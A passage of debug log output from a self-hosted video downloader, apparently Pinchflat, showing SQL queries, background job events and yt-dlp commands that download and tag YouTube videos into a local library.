OK source="media_items" db=0.2ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [70, 71] 22:11:24.522 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [71] 22:11:24.522 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [71] 22:11:24.522 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:24.522 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:24.522 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:24.523 [debug] Running yt-dlp command for action: get_downloadable_status 22:11:24.523 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:24.523 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:24.523 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:24.523 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/84/11/84115be01b0cb7efba4d740bf7fae457ff9a64302ef791ad408fdce8a8d3114f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:26.986 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/84/11/84115be01b0cb7efba4d740bf7fae457ff9a64302ef791ad408fdce8a8d3114f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:26.986 [debug] Running yt-dlp command for action: download 22:11:26.986 [debug] QUERY OK source="settings" db=0.0ms idle=923.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:26.986 [debug] QUERY OK source="settings" db=0.0ms idle=924.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:26.986 [debug] QUERY OK source="settings" db=0.0ms idle=924.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:26.986 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5d/14/5d14f3e216a28f1936452615a21c288ed8c38570c63d4ec4437d1ecb92c8ed3e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:28.468 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a1/92/a19237f8c5aa39df552a730dc2fafad143fcba5ca3df2ce6154ad0cede3db6b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:28.486 [debug] Running yt-dlp command for action: download_thumbnail 22:11:28.487 [debug] QUERY OK source="settings" db=0.0ms idle=707.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:28.487 [debug] QUERY OK source="settings" db=0.0ms idle=424.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:28.487 [debug] QUERY OK source="settings" db=0.0ms idle=424.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:28.487 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/70/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8a/f5/8af572f5ca9cc4667faee42c4e518e3f865c72cb45d0c7719052a81b4327bd59.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:28.844 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:32.025 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/70/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8a/f5/8af572f5ca9cc4667faee42c4e518e3f865c72cb45d0c7719052a81b4327bd59.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:32.026 [debug] QUERY OK db=0.0ms idle=1963.6ms begin [] 22:11:32.026 [debug] QUERY OK source="media_items" db=0.1ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:11:28Z], "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", [["en", "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].en.vtt"]], ~U[2026-03-28 02:11:32Z], 70] 22:11:32.026 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/70/metadata.json.gz", "/config/metadata/media_items/70/thumbnail.jpg", 70, ~U[2026-03-28 02:11:32Z], ~U[2026-03-28 02:11:32Z]] 22:11:32.026 [debug] QUERY OK db=0.0ms commit [] 22:11:32.030 [debug] QUERY OK source="media_items" db=0.2ms idle=1967.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [252647438, ~U[2026-03-28 02:11:32Z], 70] 22:11:32.030 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:11:32.030 [info] {"args":{"id":70},"id":75,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":91673866,"event":"job:stop","queue_time":4880356336,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:11:32.030 [debug] QUERY OK source="tasks" db=0.2ms idle=1248.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:32.030 [debug] QUERY OK source="tasks" db=0.3ms idle=246.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:32.031 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [71] 22:11:32.031 [debug] QUERY OK source="media_items" db=0.1ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [71] 22:11:32.036 [info] {"args":{"id":72},"id":77,"meta":{},"system_time":1774663892036628360,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:11:32.037 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [72] 22:11:32.037 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:11:32.037 [debug] QUERY OK source="tasks" db=0.3ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:32.037 [debug] QUERY OK source="tasks" db=0.4ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:32.037 [debug] QUERY OK source="sources" db=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:11:32.037 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [71, 72] 22:11:32.037 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:32.037 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [71, 72] 22:11:32.037 [debug] QUERY OK source="media_items" db=0.0ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [72] 22:11:32.038 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [72] 22:11:32.038 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:32.038 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:32.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:32.038 [debug] Running yt-dlp command for action: get_downloadable_status 22:11:32.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:32.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:32.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:32.038 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d6/7f/d67f2a950433e670c2a92dd93f064b8c6bbf40cd02633e263cc2ff7a3e575d91.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:34.278 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d6/7f/d67f2a950433e670c2a92dd93f064b8c6bbf40cd02633e263cc2ff7a3e575d91.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:34.279 [debug] Running yt-dlp command for action: download 22:11:34.279 [debug] QUERY OK source="settings" db=0.1ms idle=1216.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:34.279 [debug] QUERY OK source="settings" db=0.0ms idle=1216.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:34.279 [debug] QUERY OK source="settings" db=0.0ms idle=1216.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:34.279 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GYgN7OuTfVU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/17/a7/17a750fea92ef09d33a62fe2da90a0360fae3332621a13b24b3b47db9748287c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:58.846 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.649 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:28.847 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:58.849 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.650 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:28.850 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:32.386 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gbNeBNx8_Yk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5d/14/5d14f3e216a28f1936452615a21c288ed8c38570c63d4ec4437d1ecb92c8ed3e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:32.398 [debug] Running yt-dlp command for action: download_thumbnail 22:13:32.398 [debug] QUERY OK source="settings" db=0.1ms idle=403.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:32.398 [debug] QUERY OK source="settings" db=0.0ms idle=336.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:32.399 [debug] QUERY OK source="settings" db=0.1ms 